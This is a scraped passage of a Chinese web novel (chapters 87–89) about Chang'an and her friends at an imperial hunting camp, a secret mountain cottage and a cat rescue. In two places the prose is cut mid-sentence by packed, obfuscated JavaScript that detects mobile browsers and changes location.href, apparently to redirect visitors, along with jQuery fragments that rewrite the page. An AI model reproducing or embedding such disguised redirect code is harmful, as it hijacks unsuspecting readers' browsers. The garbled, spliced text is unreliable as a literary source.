“啧啧啧,生气的女人真可怕,倔驴都得退让着。”花铁铁捡起平安打在她脸上,掉在她身上的玉米递给我:“呐,吃吧。” 我接过玉米,叫花铁铁以后说话过过脑子,别瞎举例子。花铁铁点头应下,却还是不死心,问我刚才举的例子寓意表达的对不对。 我叫她滚。 87. 君子不救 午膳后,太子和陛下想着难得空闲,农活也忙完了,就要去上林苑游猎一番,大家一听来了兴致,欢呼雀跃。 跑马弯弓,收获颇丰。回到营地休整,猎物拿下去处理,准备大摆野宴。 皇帝已经很多年没打猎了,如今身子大好,胯~下狮子骢矫健如飞,后羿神弓他又用着十分趁手,一场围狩下来,只觉酣畅淋漓。这会儿回到帐中,正和太子及亲王臣子,在上位喝茶品茗,谈论打猎趣事。 他们要互相说一说,猎物如何狡猾,自己如何预判了猎物的预判,一举拿下,或者几经较量最终诛获等等。然后互相赞赏,甚至吹捧,再来说一说太祖高祖两位皇帝,天神一般的精湛射艺。 他们津津有味,显然上至天子,太子亲王,下至臣子们,他们自幼便总传颂这些故事,而故事讲得遍数多了,往往就神乎其神,充满神话色彩!便更加引人入胜。 沉浸在故事里的人不自知,外人听着却十分难以置信。当然人们通常屈于权贵,选择忙从,甚至随波逐流,跟着追捧,这样会体现自己的忠诚。上位者也喜闻乐见。 和我一起坐在帐子门口的花铁铁,看着那些人认真之中带着坚信说完崇拜的神情,不禁咋舌,小声嘀咕:“那么离奇的故事,他们不会真的信以为真吧?哎,你听见没,说太祖一箭能射死十好几个奴人,搁那串糖葫芦呢?你信吗,长安?” 我眉头一蹙,瞪了一眼花铁铁。幸好上位者们说到尽兴处,众人正哈哈大笑,没听见花铁铁的话,不然真要触犯逆鳞,大不敬了。 外面护卫们正准备野宴场地,摆好了席位上的几案。我赶紧拉着花铁铁出了帐子,坐在最末席上陪她看书,引导她思忖如何完成庄先生布置的作业。好在花铁铁喜欢看书,很是投入,一下子便两耳不闻帐中事了。 堂邑夫带着柳延年来了,以他们目前的身份,不得召见不必去上位者面前行礼问安,叨扰一番。只亮明腰牌,进了营地,就直接到我们这边坐下。 堂邑夫一看见花铁铁就忍不住开心,殷勤地给花铁铁送上一个小巧精美的食盒,说是禾祥斋新出的点心,请她尝尝。 “不要,拿走,滚!”花铁铁看书被打扰,心情顿时不爽,头也不抬蹙着眉头,冷言冷语。 花铁铁冷酷拒绝,堂邑夫也不恼,还是呲着牙,满脸堆笑。柳延年却被花铁铁的态度刺到了,抱着他的狗,别过头,不屑地皱了皱鼻子,神情倒比堂邑夫哀怨万分。 我看了看花铁铁,又看了看堂邑夫,眼睛一转,伸出小小的食指,指了指食盒,生怕会被拒绝一般,软软糯糯地问道:“她不要,能给我吗?” 堂邑夫愣了一下,笑道:“好啊。”然后往我眼前推了推食盒。 正在看书的花铁铁,却将书往几案上一撇,很不讲理地,一把拦截,将食盒抢了过去,很气愤地道:“长安!你怎么回事!?你怎么变成这样了,变得我都不认识了!?” 被截胡我就很不愿意了,居然还说我变了,故意往我心上戳刀子啊,这是!那我能忍啊? “我草你爹了个腿啊,你说谁变得你不认识了?”天底下谁变了我都不可能变!要逼着我自己把这事儿说几遍啊? 我指了指自己,道:“我变了?你……你不认识我,跟我有什么关系?还我变了,你瞎了,你脑子坏了,你失忆了吧!要不就是你坏到根儿上了,故意的!” 花铁铁气道:“滚,我说的不是……”知道自己戳我伤心处了,花铁铁有些心虚气短,气势弱了下来,憋着气稳了稳道:“我说的是你的为人处世,我说的是你以前高傲着呢,给你的和给别人的一样,你就不要了,以前你,必须得是独一份儿。现在可倒好,我不要了的,你上赶着捡!你怎么这样了,你的傲骨呢,你的腔调呢?你……真是让我无语。” 花铁铁满脸嫌弃地剜了我一眼,“哼,我叫你捡,我叫你捡,就不给你,就不给你。”她一边气呼呼地说着,一边将食盒打开抱在怀里,在我的注视下,把糕点咬了个遍,糕点上最好吃最好看的尖尖,都被她吃了。 她鼓着腮帮子,对我翻了个白眼,将食盒重重地放回几案上,“哼”了一声,继续拿起课本端看。她噎得有些打嗝,有些尴尬,但也不耽误她生气。 噎死她,噎死她,怎么不噎死她!我这样想着,堂邑夫已经暖心地给花铁铁递上茶水了。 啧……我带出来的人真不错,多有眼力见儿啊,花铁铁真是身在福中不知福,多好的大螳螂啊,居然不珍惜! 我看着被花铁铁咬得十分狼藉的糕点,心里又气又难过。用手指了指,弱弱地问:“现在可以给我吃了吧?” 花铁铁像是被我憋到了,嘴里的糕点,差点没被茶水顺下去,好容易才咽下去后,就侧头直愣愣地看着我,说不出话来,一副长安你馋死了,你要不要这么下贱的神情。 我道:“你不反对就是默许可以哈,那我吃啦哈。” 说完,我拿起带着花铁铁牙印的糕点吃起来,嗯,好吃!我赞赏地点点头。 柳延年有点胃口不适的样子,却温柔阻拦道:“长安,要不你先别吃了,我给你买。” 接着他严厉地对花铁铁斥责道:“你这是霸凌,赤果果的霸凌!长安和你关系这么好,你却连一快儿完整的糕点都不给她,你真可恶。” 然后转头责怪堂邑夫,“我说给长安带一份儿,你非是不让,非说什么送给花铁铁的得独一份儿,不然她就不要了,不要就不要呗,这可倒好,她不仅没领你的情,还短了我长安的。” 花铁铁根本不理会柳延年在说什么,只生气懊恼地将我正往嘴里送的糕点抢过去,往食盒里一扔,埋怨道:“快别吃啦!” 被口中夺食,我本来要发火的,抬头一眼,花铁铁眼圈子竟红红的,含着泪呢。 于是蹙了蹙眉头,按下火气,道:“怎么啦,欺负完没爹没娘的孩子,心疼了?你人还怪善良地嘞。”说着又拿起糕点往嘴里塞。 “哎呀,别吃了,别吃了,我都咬过了,都是我剩下的了。”花铁铁既心疼又难为情地阻拦我。 “你咬了又咋啦,你剩下的又咋啦?我是要饭的出身,人不剩下我还吃不着呢?别说你咬了你剩下了,就算你扔地上了,我捡起来照样吃啊。”我指着柳延年的狗说:“你就算喂狗,我也能抢过来吃,狗吃剩下了,我也能吃。” “你存心让我难受是不是?”花铁铁别过头擦了擦眼泪,好一会儿回过味儿来,略带质疑地问:“你说谁是狗?你是不是说我是狗?” “啊哈哈哈……” 众人一笑了之,花铁铁继续看书,堂邑夫和柳延年就过去那边帮忙准备野宴事宜。 平安骑马回来喝水,看见食盒里的糕点,就奇怪地问:“谁啊,吃东西这么刁钻古怪,跟齐天大圣吃桃子似的,掐尖儿!” “花铁铁!”我面无表情地告状,语气却刻意生硬,显示自己的不满。 平安听了,“哦”了一声,一脸“那没事了”的样子。 花铁铁本来还觉得的愧疚,听了平安刚才的话,便精神起来,放下书问:“大圣吃东西就这么吃吗?” “对啊,说起这个,我倒想起一个有意思的事儿。”平安拿起一块糕点就吃,“嗯,味道不错啊!” 花铁铁又是一阵难为情,道:“哎呀,别吃了,你不嫌我啊。”说着就伸手要把糕点抢回来,平安向后躲了躲。 “都是好姐妹有什么好嫌弃的,那要是有什么东西,我咬了一口,剩下了,你难道嫌弃我,白扔了浪费了,也不吃啊?”平安问。 花铁铁想了想,觉得如果是平安,她居然真的不嫌弃,点头道:“是哦,如果是你,我还真吃得下。” “对吧。”平安说着端起花铁铁茶杯喝了一口。 花铁铁忽然醒悟,一脸笑意的看着我,有些扭捏起来,感动中还带着些许埋怨。那意思是我明明是因为把她当做好姐妹才不嫌弃她的,偏偏要拿叫花子出身这事戳她,让她心疼。然后她眼圈又红了。 我不理她,只问平安:“你刚才说你想起什么事了?”说着,我把嘴巴伸过去,也喝了一口花铁铁杯子里的水。 平安咽下口中的糕点,道:“嗯就是,孙猴子去看蟠桃园,从七仙女那里知道王母娘娘的蟠桃会没请他,因为他官阶太小,不够格,不是生气把七仙女定住了嘛,然后大闹蟠桃园,树都给拔了,把一千年的,三千年,五千年的甚至一万年的蟠桃都给摘了,然后吃了一遍。可是咱们大圣每个桃子就咬一口,那可是吃一口就长生不老的仙桃啊,可咱们大圣,就像这样,光吃尖尖。” 平安指了指食盒里的糕点,花铁铁不自在地清了清嗓子。 平安呵呵一笑,接着道:“我就忽然想起另一个事,想说,大圣真是个人品很不错的男的,七仙女多美啊,傻猴子给人家定住了,愣是一点歪心思没有,就想着吃桃子尖尖去了,没碰人家姑娘一下,换个别的什么男神仙,七仙女还有个好啊。要是天蓬元帅,都等不到调戏嫦娥,在七仙女这儿就犯错下界投成猪胎了。” “哟,你这么一说,这孙猴子还真挺不错的嗳。”我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125194|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和花铁铁十分赞同,“合该他当大圣!” “那是自然,要不怎么说,大圣是亿万少女的梦呢?”平安颇有些骄傲和自豪。 这时郑清栓好马,带着卫不弃过来和花铁铁一起看书,他顾不上平安给他倒的茶水,只有些急切地问:“君子不救,圣人当仁不让,是什么意思?” 花铁铁道:“这句我也读不懂,长安你明白吗?” 这有什么不懂的?我道:“就字面意思啊,当看到别人遇到困难,身陷危险时,君子可以考虑自身情况,选择不救助,圣人就完全当仁不让,想都不想必救无疑。” 平安道:“那我感觉我们都可以当圣人了,我们肯定不会见死不救的,咱们都会义无反顾伸出援手的。” 我道:“人都会这么想,但真正遇上的时候,是会衡量利弊,预估出手相救后的代价和结果自己到底能不能承受住。承受不住的话,见死不救也无可厚非啊……恩,你我不过是浮生,真到裉节上,心生悲悯的是浮生,袖手旁观的也是浮生。 君子之选怎么选,都不为过,没啥好指摘的,圣人当仁不让,是因为境界和凡人不同,圣人什么都不在乎,什么都不计较,无论什么代价和结果,圣人都承担得起,所以圣人遇事不作他想,是为当仁不让。” 花铁铁和郑清听完,赶紧做笔记,连一边的柳延年都顾不上烤肉了,也过来拿出书本整理记录。 我抬头看见薛环正在远处营地围栏之外,笑嘻嘻的看着我,对上我的视线就立即招手。我一看见他,就满脸喜色,打心底里高兴,起身迈着轻巧的步子去找他。 “你怎么才来啊!?”昨天就没见到他。 “等急了,怪我了?”薛环轻声道。 “嗯。”我点点头,道:“也……想你了!” 薛环闻言笑弯了眼睛,“呐,也想它了吧?” 薛环说着递上我心心念念的零食袋子。 我开心地接过来,两人手牵手,笑呵呵地跑远了。 ****** “那这个君子不重则不威……哎,长安哪去了?”花铁铁记完笔记,再抬头,长安已经跑不见了。 平安喝着茶水道:“去玩去了。” “啧,一天天就知道玩,也不知道请示一下,就跑没影了,一点规矩也没有。我还好些问题要问她呢。”花铁铁才读了几天书啊,就规矩规矩地放嘴上。平安只觉得怪好笑的。 柳延年一边对照郑清的笔记,一边书写,道:“小孩子正是喜欢玩的年纪,喜欢玩怎么了?切,天天自诩这个比长安强,那个比长安好,这会儿又一下也离不开了。” “就是说啊……”平安应承柳延年的话,还没说完,花铁铁一个飞起,跨过几案,坐在柳延年身上就左右开抡了。 “啊啊啊,嘤嘤嘤……” “哼,不用长安我也行,什么是君子不重则不威,这特么就是:下手不重,你就不知道老娘的威力有多大,哼,哼,哈,嘿……” 等花铁铁打完柳延年,回头再看平安时,平安正躲在郑清身侧,和郑清专心致志地看书呢,躲了又躲还是对上了花铁铁的视线,怯怯地弱弱地道:“你都已经打完他了,不能再说我了。” “嘤嘤嘤……平安你……平安你……君子不救啊君子不救……果然长安,说得对啊,啊啊啊,长安嘤嘤嘤……”柳延年一脸心灰意冷,哭得我见犹怜。 柳延年实在不明白堂邑夫到底看上花铁铁什么了?堂邑夫则笑着回答说,他看花铁铁哪哪都好都喜欢。 柳延年绝望地对着堂邑夫唱起歌来,“你的眼睛,到底被什么蛊惑……” 平安忍不住笑,她一笑,大家都笑了。 ****** 我和薛环在林子里散步,他把昨天欠我的一百句我爱你我喜欢你说完,就说今天的。 我简直喜欢死了,爱死了他说情话的样子。 我牵着他的手,搂着他的胳膊,靠在他的肩头,娇羞的捂着嘴巴乐。这些都是在别人面前不能做的,和薛环一起却能肆无忌惮,我太开心了,太幸福了。 薛环温柔地在我耳边说:“长安我带你去个地方,把眼睛闭上。” “干什么?”我抬头看着他,问。 他笑而不语,只又叫我闭上眼睛,不要睁开,然后牵着我的手往前走。 不一会儿,我只觉眼前一亮,不由的睁开眼,竟是豁然开朗,别有天地,一处漂亮的小山居映入眼帘,我竟不知上林苑还有这等地方。 “哇……好美啊,这里好美啊!” 88. 山居 薛环见我喜欢,开心地笑眯了眼,牵起我跑过一片花田,踏起无数花瓣,然后穿过和我一样高的无尽夏花丛花廊,轻推竹扉进入山居小院。 庭院里一派祥和,有花有树有小池,有秋千,有摇椅,有茶台,有石碾,有一个干净整洁的小厨房,旁边还有一个小药庐……一切我觉得居家过日子该有的,都有了! 我好开心,好幸福,我荡荡秋千,我坐坐摇椅,我端起茶杯假装喝茶,我去推石碾,假装磨面粉,又去厨房拿着铲子铲了两下锅,仿佛真的在做菜。跑去药庐,瞧瞧这儿,瞧瞧那儿,想着赶紧弄些药材,把药柜填满……我已经开始想象着如何在这里生活了。 啊,生活,对,这不就是我想要的生活吗?这就是我梦想中美满生活该有的样子啊…… “环哥哥,这是家,这是家,你给了我一个家!”我飞奔着投入薛环的怀抱。 是上苍的恩赐吗?是上苍可怜我活得不容易,特地把薛环送到我身边的吗?如果是,那么,我虔诚的感谢上苍,感谢薛环! 我想看薛环的眼睛,却不敢抬头看他还稚嫩的脸,那会让我记起一些不开心的事,于是我把自己更加深深的埋进他的怀里。 薛环紧紧回抱着我,通过双臂的力量,让我安心。我们现在的身高差正好,我环着他的腰,脸刚好贴在他的胸口上,“你的心跳真好听!是这世间最美妙的声音。给我……听一辈子,好不好!” “好!”薛环用下巴温柔地摩挲我的头顶,安静地和我享受这一刻的美好。 打开正堂房门之前,薛环再次叫我闭上眼睛,我低着头嘟着嘴有些不愿意配合他,我知道里面有大大的惊喜,我忍不住要看,等不及陪他卖关子了。 薛环呵呵一笑,摇摇头,宠溺道:“好吧。” “哇,好漂亮的屋子,这屋子就是嫦娥仙子来了也住得。” 门一打开,我就被完全惊艳到了,立在门口,探头探脑,竟有些不知该怎么迈腿,怕一脚踢碎幻影,倒不敢进了。 还是薛环把我领了进去,双脚迈进入房间,踏实的感觉自下而上袭来,我又像一个快乐的小家雀一样欢腾起来,蹦着跳着进到各个房间里左观右看。 薛环笑着,眼神一路跟着我注视着我,等我把屋子里里外外转遍了,他才牵着我的走到卧房的衣柜前,道:“打开。” 又有惊喜,哈哈!我二话不说,上前打开柜子。 “哇,哇,哇……”这不单单是惊喜了吧,确定我真的不是在做梦吗? 这哪是什么衣柜啊,里面分明是一个四角齐全,还带明窗的房间,房间里一排排,挂满了这世间最美最漂亮的裙子,摆满了一双双嵌着宝石丝履,都是我的尺码,四季皆有。 里面还有一面一人高的大镜子,我欢喜地拿过一条裙子,对着镜子在身上比量。 薛环帅帅地抱臂倚在柜子门口,道:“喜欢吗?换上试试!” “喜欢喜欢我喜欢,所有的都喜欢。”我压抑不住心里的欢喜,兴奋过头,笑得叽叽喳喳的。 薛环笑弯了星眸,眼中溢满了宠爱:“不着急,一件一件的试。”说着他退了出去。 我在里面磨蹭了很久,薛环在外面问:“好了吗?” “……好了。”我顿了顿,回答。 “那出来啊,出来给我看看。”薛环等了一会儿,见我不肯出去,就道:“我会梳女孩子的发髻,我给你梳啊,再给你化个妆?” “好好好,我来啦我来啦。”我本来是有些害羞不好意思出来给他看的,一听说还可以梳头,化妆,我就赶紧跑出来了。 薛环勾起唇角,牵着我在梳妆台前坐好,梳妆台一侧,是一面和衣柜里一样的大镜子,另一侧有一整排首饰柜,一层层摆满了各式各样的首饰。 薛环的手艺真好,绾青丝翠钗斜插,贴花黄画眉点唇…… 我看着镜子里的自己都惊呆了。这是梦,这一切都是梦,这里的一切,只有梦里才会有。 竟然做这么美好的梦,一定是最近少杀戮,好事做多了。 我不敢动,连话也不敢说,生怕梦醒了。 薛环双手扶着我的肩,弯下腰,脸就在我耳侧,看着镜子里的我,眯起眼,像是在欣赏这世间最美的风景。 他鼓励我站起来走走,在镜子前转个圈儿,到外面花海里跑跑…… 可是,“环哥哥,我想回去了!”我眼圈微微红着,轻声道,随后开始拆解发钗。 薛环脸上的笑一僵,眼圈也红了,说了句“好!”,便直起身帮我。 洗脸更衣……一切恢复原样,薛环牵着心情有些伤感的我走过花海。 闭上眼穿过林子,回到一开始的地方,然后……看着眼前的寂静,我后悔了,我想回去,想继续那个梦。 “对不起,我不是有意辜负你的心意的,我刚才情绪那么低落,是我忽然很伤心,很难受,一下子什么兴趣也提不起来,我也不知道为什么会这样。”我担心地看着薛环,恳求道:“我,我又想回去了。” 薛环仰头吸了吸鼻子,又正视着我,笑笑,捏了捏我的脸蛋,柔声道:“我明白的,我都明白,你的病不光是你的心病,我也日日夜夜记挂着呢?你的病一日不好,所有的美好就一日都不能纯粹,它就像一根刺,总在我们最快乐最幸福的时候,出来扎我们一下,把刚刚触及到光明的我们再次拉回深渊。长安啊,不用觉得抱歉。我尽心准备的礼物你喜欢,我就满足了,嗯……可是,现在就要回去怕是有点难了,以我现在的能力,刚才的传送结界,半年内只能用一次呢。” 薛环说那个山居小院是真实存在的,但并不在上林苑这出林子里,倒也不远,就在南山麓的半山腰上,他指了指南边,说可以找时间带我去认认路,以后我想去随时就去。 “传送结界!?” 我转头再看那片林子,果然只有重重叠叠的树木而已。 我感叹,薛环对我真好,他小小的人,能有多大能量呢,半年才能用一次的结印,就用来给我送惊喜了。 “好神奇啊,是修真门的法术吗?好想学啊……”我眼睛一亮,又一暗:“可惜师父不许我学习法术。” “是鬼城的一种初阶结界,在两个地方提前设置法阵,启动的时候两个法阵就能相互感应,形成通道,把人从一个地方传送到另一个地方,修真门也有类似的法术,但两者多少还是有些区别的。” “不是修真门的法术,那……” 薛环看我眼睛又是一亮,一脸崇拜得不行的样子,不禁笑了,他看穿了我的心思,伸手弹了一下我的小鼻子,道:“那也不能学。” 见我瞬间黯淡,顺手捋了捋我耳边的碎发,温柔安抚,“乖,要听师父的话。” “好吧。明天可以吗,明天带我去认路?”明天,我会调整好心态,只管沉浸在幸福里,把所有的裙子和鞋子,还有妆造都试一遍,一定尽兴。 “好!” 薛环把我送回营地,就回学宫了,说这几日忙别的,堆积了不少内务要做。 我其实还没跟他腻歪够,还想和他多玩一会儿,可我还是懂事儿地放他离开。 这会儿上位者们都在帐中小憩。花铁铁拉着我们几个去营地围栏外的空地上练习射声,就是蒙着眼睛,听音辨位,练耳力练准头练反应。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126222|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可是风不作美,每次不等堂邑夫他们拉线摇铃,风儿便总是先一步吹得靶位上的铃铛嘤嘤作响,花铁铁天生反应迅速,郑清他们还没准备妥当离场,她就搭弓射出箭去,好几次差点扎到跑得慢的柳延年。 柳延年大骇,哭喊说不玩了,嚷嚷着痛骂花铁铁针对他,假借射铃铛之名,害他性命。 花铁铁被惹烦了,扯下眼上的丝带,瞪着柳延年,故意吓唬他,说根本不稀罕要他性命,就是要射铃铛,射他的铃铛。说着就瞄准他的下身。柳延年惊慌失措,捂着沟子到处躲避。 引得远处一群守卫甚至那些近臣们也都笑他,尤其是牵马又要出去狩猎的韩燕熙一众。 我和平安叫花铁铁适可而止,咱们自己闹着玩可以,别叫人家看咱们笑话。 柳延年趁这空档骑上马跑了,愤恨地回头说要去取一样东西,叫花铁铁这个野蛮落后的土著人开开眼。 花铁铁刚要听我的话放过柳延年,便又恼了,我们虽然不知道土著人是什么人,但也明白柳延年在用这个称呼讽刺花铁铁,定不是什么高档的人。就问平安,平安有的时候挺向着柳延年的,也怕多嘴生事,便只说不知道。 我们看着柳延年离开,却见一群带着围帽的姑娘踏马经过。 她们忽然停在营地外林子边的一棵树下,一群人叽叽喳喳的讨论着什么,仿佛遇上了难事。我们走近才认出是花小楼的姑娘们。 领头的那个是万三娘子,她没戴围帽,身着男装,一袭九州清晏珠光白纱圆领袍,披散着头发,慵懒地带着一顶垂脚幞头,耳边插着素色绢丝绒花,别是一番风情。 原来刚才花铁铁射箭,流箭惊吓到了一只小野猫,小野猫爬上树端下不来了。刚好被路过的她们看见,于是就想着营救。 这事对我们来说太简单了,花铁铁要帮忙,领头的万三娘子,婉拒好意,非要她们自己来。 姑娘们在树下扯着一块野餐的垫子,一遍一遍对着小野猫高喊:“小狸奴,别害怕,下来,快下来,跳下来,我们接着你。” 我们几个人坐在一边的小坡上看她们,不禁被她们逗笑了。猫又听不懂人话,她们嗓子喊哑了,猫儿也不会听话跳下来啊。 她们似乎也意识到这一点,就去找树枝来,想把猫儿捅下来。树枝不够长,她们就找来绳带,把几根粗细适中的枝干头尾相连,牢牢绑起来,接的长长的,然后由两位姑娘,奋力地举起来,摇摇晃晃地去捅小猫儿。 万三娘子在一边指挥:“往左一点,往右一点,再高一点,好拉好啦,快掉下来了,来,姐妹们,再加把劲,努努力,小狸奴就得救了……” 几经波折,小野猫在树上,挣扎了半天,终于力竭——“啪叽”掉了下来。然后,姑娘们就都傻眼了。 唉,作的什么孽啊,这么多人扯垫子,愣是让小野猫直接摔下来,结结实实呼地上了。 我跑过去,无奈地摇头叹了一声,对万三娘子道:“一群人这么努力,最后救了只死猫啊!?” 万三娘子正伤心地蹲在小猫身边查看,顾不上理我。 一旁的姑娘们,内疚不已,问道:“三儿,这可如何是好啊?”有心软胆小的姑娘哭泣着小声嘀咕,“早知道就听长安君的了……” 万三娘子安慰大家,更像是安慰自己,道:“没事,还活着,缓缓就好了,猫有九条命呢。” 也不知是万三娘子有口德,还是这小野猫命不该绝,缓了一会儿,竟果然好了,看了众人一眼,就窜进林子不见了踪影。 姑娘们这才舒了口气,恢复好心情。 我问姑娘们:“你们怎么到这儿来了?” 89. 飞袋 林娘子掀开围帽,对我道:“今日李大娘子、万大娘子和东家来的人对账,嫌我们吵闹,就放我们出来玩,姐妹们小时候也都喜爱骑马游弋,于是就赁了马匹到上林苑来,原想着我们这种身份的,跑远一点好,不料跑了这么远,还没落脚呢,倒遇上惠王殿下围猎,猎场外的守卫撵我们速速离开,这不正往回走呢,就遇上了这茬子事儿。” “真是可怜,好不容易得空出来,却连个容身之处都没有呢。”被撵得到处跑,凄凉又狼狈,姑娘们都一脸难过。 这时营地里,惠王身边的护卫走到营地围栏边上,对我们这边大声道:王爷准姑娘们在营外歇息赏玩。 姑娘们瞬间雀跃,欢喜地栓好马儿,铺好地垫,拿出各种吃食酒水,和乐器席地而坐…… 我留下跟姑娘们一起玩儿,说说笑笑,蹭点吃喝,听她们唱歌儿。 花铁铁平安和堂邑夫郑清他们回了营地里面,搬出来几个蒲团一张几案,摆上茶水,在不远处的树荫下看书诵文。 柳花郎背了个大包袱,策马回来,他丰神俊朗,引得姑娘们惊艳。但她们知道这是惠王的营地,不敢高声尖叫,只能收敛,朝柳延年疯狂招手,打个招呼也就罢了。 我赶紧跑过去,看他又弄了什么稀奇玩意儿。只见他包袱里有几把轻便的弓弩,还有好多好多红色的,笼包大小的,油纸袋。 柳延年说这是飞袋,专门练习反应力和准头的移动靶,若是想练射声,在这小飞袋上挂上铃铛,就行。 说着柳延年,将一个小红飞袋,放到弓弩上发射出去,众人一见,便知其中妙处,柳延年得意道:“这又方便,又安全,又好玩又刺激,怎么样?花铁铁,要不要挑战下?” “来吧!” 飞袋里面装了红粉,射中的瞬间炸成红雾,让人看着就非常兴奋。而且飞袋由弓弩即时突发射出,不仅速度快,方向也不固定,更不能提前预知,对射击者挑战极大。重点是完全保证了柳延年的安全。 花铁铁试了试,射空了几箭,觉得确实不错,很有挑战性,夸赞道:“这东西好这东西好,柳大哥,有这好东西,你早些拿出来啊。”花铁铁叫了声大哥,其实就是为刚才戏耍柳延年的事道歉了。 柳花郎扬了扬下巴点点头:“前些天你练射声,我就想到这些东西了,才准备好,原打算带去靶场给你练习的。这次你淘气就算了,若以后再戏耍我,给旁人看笑话,咱们就别做一家人,这些好玩意儿,你也别沾边儿了。” 说他胖,他还喘上了。花铁铁“切”了一声,道:“不戏耍就不戏耍,谁再敢看你笑话,我射他铃铛!”说着,搭弓上箭瞄了一圈,之前笑话柳延年的那些守卫,瞬间觉得小~胯一凉,都敛了神色。 上位者们听说有新奇玩意儿,也想尝试,便宣柳延年把东西拿过去介绍一番,然后去远处的空地上玩。这东西上瘾,他们玩得入迷也过瘾。 平安拉着郑清去采花。柳延年忙完那边,就退回来和花铁铁一起背书,花铁铁嫌他背的太快,又想欺负他,不过忍住了,就说他声音太大,像蜜蜂一样影响人,让他不出声的背。 那边姑娘们吃吃喝喝说说笑笑,弹弹唱唱也没见她嫌声大,显然是在找茬,不过柳延年觉得花铁铁没把他形容成苍蝇,也算是有长进了。他很容易满足,于是就闷声默背。 我和堂邑夫在一边对练,拆解招式,帮他积累赢得学宫大考擂台比武这一关的经验。 万三娘子和林娘子那边把酒言欢,起舞踏歌。花铁铁背着背着书,看着姑娘们不知道在想什么,竟一时间看迷了,好一会儿,回过神来,翻了翻手里的书,忽然感觉有点看不进去了,把我叫过去歇会儿喝口水,一边给我擦汗,一边问道:“啧,为什么男人们都喜欢那样的,我长得也挺漂亮的啊?” 我抱着茶杯喝水,不等我回复,柳延年就插话了。 “为什么?还能为什么?”柳延年呵呵一笑,扬声把花小楼的东东姑娘叫了过来,东东姑娘笑靥如花,走到我们面前,温柔地俯身行礼,轻声问道:“柳郎君叫我作甚?” 柳延年示意东东姑娘坐他身边,又侧头对花铁铁道:“瞧好了,我叫你看看到底为什么?”说着他用手蘸了一下他那杯凉了的茶水,弹在东东姑娘的脸上。 东东侧头一躲,仍被茶水打得抖了一个激灵,回过头来,眼里全是不解和委屈,轻咬了一下饱满粉亮的嫩唇,娇滴滴地嗔道:“啊,郎君,这是为何?” 采好花的平安,打发郑清去营地找了一个空酒坛子,到湖边洗涮取水。她捧着花回来,正好撞见这一幕,不经感叹:东东姑娘真美,所谓我见犹怜,便是这了。 平安随手摘了一朵花儿,别在东东姑娘头上,“真好看!”东东闻言略带娇羞,酥手扶鬓,低眉浅笑,眼光流转,尽显风情。 花铁铁看愣了。 柳延年眼睛转了转,先把我拉到身前挡住,才用手又蘸了一下茶水,弹到发呆的花铁铁脸上。 花铁铁瞬间抖了一下,回过神抹了一把脸,粗着嗓子怒道:“你特娘的要干啥,找死啊!?”花铁铁觉得果然不能对柳延年太好,这小子就会蹬鼻子上脸,一副她可不是楼里那些好脾气的姑娘,随他欺负的样子。 这一嗓子,吓得柳延年瑟瑟,东东姑娘失色,远处的姑娘们都伸头往这边看,连营地围栏边戍守的护卫也纷纷侧目。只有平安呵呵笑起来,她虽然戴着围帽,却还是用花挡了挡嘴巴。 对比竟这样明显,所谓的“为什么”也显而易见了。 看着花铁铁的架势,柳延年推了推身前的我,向我求救。我啧了一声,心道你既怕皮肉之苦,就别招惹她啊。 我回头白了一眼双手合十恳请我庇护的柳延年,先叫东东回去,然后对花铁铁道:“同样几滴茶水,你对比一下你和人东东姑娘的反应,就知道为啥那些男的都喜欢那样的姑娘了。” 花铁铁对柳延年的怒气未收,听我这样说一下懵了,大咧咧地问什么反应。柳延年可不打算再多嘴给她继续解释了,毕竟有生命危险,只缩在我身后躲着,我叫花铁铁行了别想了,背书要紧。花铁铁还是趁我不备,用她的大长腿踢了一下柳延年。 郑清抱着坛子过来,平安就在几案上插花,忽然花茎上爬出一个小虫子,吓得平安尖叫起来,不等我们众人将虫子驱赶,正端着茶杯喝水的花铁铁,一声高呵:“我来!” 只见花铁铁高高举起手中的茶杯,然后重重落下,于是,虫子和茶杯瞬间化成了齑粉,花也被摧残,几案被砸了一个大坑,停滞了一息,在众目睽睽之下,从中间折断,上面的茶具和插花的酒坛子,应声碎裂。 靠!“我真是无语死了花铁铁,一个小虫子而已,要不要这么夸张?不知道的还以为你打的是条大长虫呢!你哪是个姑娘啊,你比莽夫还莽,现在明白男人为什么都喜欢那样的,不喜欢你了吗?空有一副好皮囊有什么用,内里就是个老爷们儿,男人喜欢你干什么,做哥们儿啊?”我凝眉怒斥。 我身侧的柳延年,用胳膊怼了怼我,下巴一个劲儿示意我看堂邑夫,“也不尽然,她那样的也有那不要命的喜欢,你看你看,你大螳螂对这款,他简直超爱的。”柳延年对堂邑夫简直恨铁不成钢。 我顺着柳延年指的的方向就看出,却见堂邑夫满眼爱恋,痴迷宠溺的看着花铁铁,呲着牙咧着嘴,笑得憨厚又实诚,那是打心眼儿里透出来的开心喜欢。 哦,倒把他忘了。 我心口重重一堵,瞬间黑了脸。吵架的时候,说出去的话没了有力的支撑,比被扇了嘴巴子还难受。 不过,我还真是佩服堂邑夫,要知道身为男人,自己心上人总那么丢人现眼,通常都会很没面子的。但他居然一点也感觉不到,在他眼里心里永远都是花铁铁最棒,花铁铁最好,花铁铁闪闪发着光。我严重怀疑,哪怕花铁铁端着马桶吃屎,在他看来,也永远是他最爱的样子。 